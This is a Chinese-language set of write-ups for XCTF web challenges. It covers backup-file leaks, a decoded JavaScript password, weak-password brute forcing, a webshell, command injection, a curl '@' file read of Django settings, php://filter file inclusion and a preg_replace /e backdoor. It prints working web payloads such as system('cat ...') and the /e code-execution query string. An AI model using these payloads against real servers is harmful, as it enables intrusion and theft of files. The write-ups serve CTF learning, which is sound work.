Xctf部分题目

XCTF

题目来源

https://adworld.xctf.org.cn/task

WEB

新手题

backup

这道题目http://111.198.29.45:41660/index.php.bak即可拿到flag。

题目并不难,记录一下常见的备份文件/源码泄露。

分布式版本控制系统(git)源码泄漏
.git
.gitignore
集中式版本控制系统(svn)源码泄漏
.svn

VIM编辑器
备份文件 : 
    *.*~
异常退出备份文件 : 
    .*.*.swp
    .*.*.swo
    .*.*.swn
    .*.*.swm
    .*.*.swl
日志文件 : 
    _viminfo
    .viminfo

Emacs编辑器
    *.*~
    *.*~1~
    *.*~2~
    *.*~3~

nano编辑器
    *.*.save
    *.*.save1
    *.*.save2
    *.*.save3

Editplus编辑器
    *.*.bak_Edietplus

其他编辑器
    *.*.bak
    *.*.back

开发人员测试失误遗留文件
phpinfo.php
test.php

Bash命令历史记录
.bash_history

simple js

js源码:

<script>
function dechiffre(pass_enc){
    var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
    var tab  = pass_enc.split(',');
            var tab2 = pass.split(',');
            var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                    k = j + (l) + (n=0);
                    n = tab2.length;
                    for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
                            if(i == 5)break;}
                    for(i = (o=0); i < (k = j = n); i++ ){
                    o = tab[i-l];
                            if(i > 5 && i < k-1)
                                    p += String.fromCharCode((o = tab2[i]));
                    }
    p += String.fromCharCode(tab2[17]);
    pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

h = window.prompt('Enter password');
alert( dechiffre(h) );
</script>

源码看了好久。。最后发现是个假密码,密码总是最后的一串\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30,所以写个py脚本解码即得密码,在加上前缀提交即可。

# -*- coding:utf-8 -*-
s='\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30'
print(s)

得到55,56,54,79,115,69,114,116,107,49,50

# -*- coding:utf-8 -*-
s=[55,56,54,79,115,69,114,116,107,49,50]
for i in s:
    print(chr(i),end='')

weak auth

也是非常简单的一个题目,burp暴力破解即可。

不过通过这个题目认识到了字典的重要性,拿burp自带的字典跑了好久,后来拿writeup里给的字典马上就跑了出来。

弱密码字典

webshell

可知index.php中已经有了一个shell,直接蚁剑/菜刀连接或者直接post参数值即可.

蚁剑:

POST:

shell=print_r(scandir(getcwd()));

shell=print_r(show_source(‘flag.txt’));
拿到flag.

其中getcwd()函数是获取当前工作目录,scandir()为列出目录里的文件,print_r是按格式输出,show_source()是输出文件内的内容.

也可以shell=system(‘ls’);

shell=system(‘cat flag.txt’);

使用system()函数执行外部命令.
做题时遇到的问题是eval可以执行的php函数不熟悉.

command_execution

命令注入,遍历目录发现在home目录下有个flag.txt,cat读取拿到flag.

simple_php

如图,弱类型比较及强制类型转换绕过.

进阶题

cat

想到可能是命令执行,但是经过测试发现了过滤了&,|等字符,输入如www.baidu.com这样的url也会回显Invalid URL,只有@字符没有被过滤。

在URL中输入超出ascii码范围的宽字符%df

回显出一大段html代码,保存下来打开发现是个django的报错界面

找到项目的绝对路径
/opt/api

这里可以用到PHP的CURL,使用@作为前缀并加上文件的完整路径可以直接读取文件内容。

结合django开发的知识(dalao们脑洞是真的大),可以查看settings.py——项目的默认配置文件

PS:settings.py生成时会生成在主项目下以项目名称命名的文件夹下。

所以

/index.php?url=@/opt/api/api/settings.py

将得到的html保存下来打开可以找到数据库信息

按上面的方法继续访问数据库文件,html保存下来打开,可以找到flag。

ics-05

题目描述得知有一个后门可以利用。

访问所有页面发现只有设备维护中心能够打开。
想到文件包含。

使用filter伪协议读取index.php的内容:

index.php?page=php://filter/read=convert.base64-encode/resource=index.php


得到一串base64.
解码得到一段php代码。结合题目描述寻找后门,在程序的最后发现

该后门是利用的preg_replace函数的漏洞:当该函数的第一个参数pattern采用了/e的正则模式时,该函数会将第二个参数replacement作为代码执行。

所以抓包添加x-forwarded-for:127.0.0.1并且url中?pat=/.*/e&rep=system(‘ls’)&sub=foo


成功执行。

接下来更改rep为system(‘ls+s3chahahaDir’)

system(‘ls+s3chahahaDir/flag’)

system(‘cat+s3chahahaDir/flag/flag.php’)

###